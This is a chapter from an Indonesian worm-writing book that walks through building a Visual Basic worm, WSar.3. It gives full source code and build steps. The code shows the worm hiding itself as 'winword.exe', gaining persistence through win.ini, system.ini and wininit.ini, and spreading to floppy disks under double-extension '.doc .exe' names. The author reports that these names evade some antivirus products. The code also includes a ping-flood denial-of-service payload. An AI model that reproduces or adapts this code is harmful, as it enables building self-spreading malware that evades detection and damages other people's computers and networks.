• Tidak ada hasil yang ditemukan

W

orm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan mema-nipulasi file konfigurasi Windows (win.ini) dan memanfaat-kan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.

9.1 ALGORITMA

WSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini’ untuk mengaktifkan worm setiap kali Windows startup

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak

4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menem-patkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor

Bab 9. Worm WSar.3

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.

9.2 PEMROGRAMAN

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title 'WSar.3’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.

Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module.

Properti object Form1

Jenis Nilai Keterangan

Name frmWSar3 Mengatur nama form menjadi frmWSar3

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar.

Properti object Timer1

Jenis Nilai Keterangan

Name tmrWSar3 Mengatur nama Timer menjadi tmrWSar3 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan

Bab 9. Worm WSar.3

Properti object Timer2

Jenis Nilai Keterangan

Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load

Interval 30000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 30 detik

Properti Module1

Jenis Nilai Keterangan

Name mdlFileIni Mengatur nama module menjadi mdlFileIni

Ketik kode program berikut ini pada object mdlFileIni:

Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long

Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String

Dim sRet As String sRet = String(255, Chr(0))

ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename))

End Function

Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ ByVal sNewString As String, ByVal sFileName) As Integer

Dim r

r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName)

Bab 9. Worm WSar.3

Ketik kode program berikut ini pada object frmWSar3:

'WSar.3 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long

Private Sub Form_Load() On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder As Object Dim MainFile As String

kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End

If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then

Call InfectSystem() End If

If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)

End If End Sub

Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder As Object Dim MainFile As String

kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile)

SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem)

writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini") End Sub

Bab 9. Worm WSar.3 Private Sub InfectFloppy()

On Error Resume Next Dim Acak As Integer

Dim NamaCantik(10) As String

NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize()

Acak = Int(Rnd * 10)

If Len(Dir$("A:\*ku.doc .exe")) = 0 Then

FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If

End Sub

Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub

Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy()

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

Unload(Me) End If End Sub

Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer

MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id"

For pingmore = 1 To 1000

Shell("ping -a -l " & Target & " 65500") Next pingmore

End Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path

If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If

WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Bab 9. Worm WSar.3

Berikut penjelasan tentang kode program:

'WSar.3 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long

Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.

Private Sub Form_Load() On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder As Object Dim MainFile As String

kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End

If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then

Call InfectSystem() End If

If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)

End If End Sub

Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system.

Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.

Bab 9. Worm WSar.3 Private Sub InfectSystem()

On Error Resume Next Dim kiddie As Object

Dim winfolder, sysfolder As Object Dim MainFile As String

kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0)

sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile)

SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini")

End Sub

Procedure ini berusaha mendapatkan direktori Windows dan direk-tori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System. Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer

Dim NamaCantik(10) As String

NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize()

Acak = Int(Rnd * 10)

If Len(Dir$("A:\*ku.doc .exe")) = 0 Then

FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If

End Sub

Procedure ini akan membuat data array sebanyak 10 yang akan di-gunakan sebagai nama file. Sedikit mengdi-gunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe’.

Bab 9. Worm WSar.3

Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendetek-sinya lagi sebagai worm atau virus .

Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word.

Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak.

Satu hal yang mungkin akan terjadi adalah file worm disalin pada dis-ket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".

Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub

Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy()

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

Unload(Me) End If End Sub

Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.

Bab 9. Worm WSar.3 Private Sub PayLoad()

On Error Resume Next Dim Target As String Dim pingmore As Integer

MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation)

Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000

Shell("ping -a -l " & Target & " 65500") Next pingmore

End Sub

Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.

Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _

lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long

Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _

lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long

Mendeklarasikan function API GetPrivateProfileString dan WritePrivateProfileString dari library "kernel32".

Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String

Dim sRet As String sRet = String(255, Chr(0))

ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename)) End Function

Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r

r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName)

End Function

Kedua function tersebut, 'ReadINI’ dan 'writeini’ mengoto-matisasi penggunaan function API dari GetPrivateProfileString dan

Bab 9. Worm WSar.3

WritePrivateProfileString, dengan tujuan agar dapat digunakan den-gan lebih mudah dan sederhana.

Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta

section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup:

WIN.INI

Path Direktori Windows (0)

Section WINDOWS

Key 1 Run

Key 2 Load

Value WormPath

Contoh yang bisa diaplikasikan pada WSar.3

writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini" writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"

SYSTEM.INI

Path Direktori Windows (0)

Section BOOT

Key Shell

Value "Explorer.exe " & WormPath

Contoh yang bisa diaplikasikan pada WSar.3

writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"

WININIT.INI

Path Direktori Windows (0)

Section RENAME

Key Nul

Value WormPath

Contoh yang bisa diaplikasikan pada WSar.3

Bab 10 Worm WSar.4

BAB 10

Dalam dokumen Computer Worm 1 secret of underground coding (Halaman 140-150)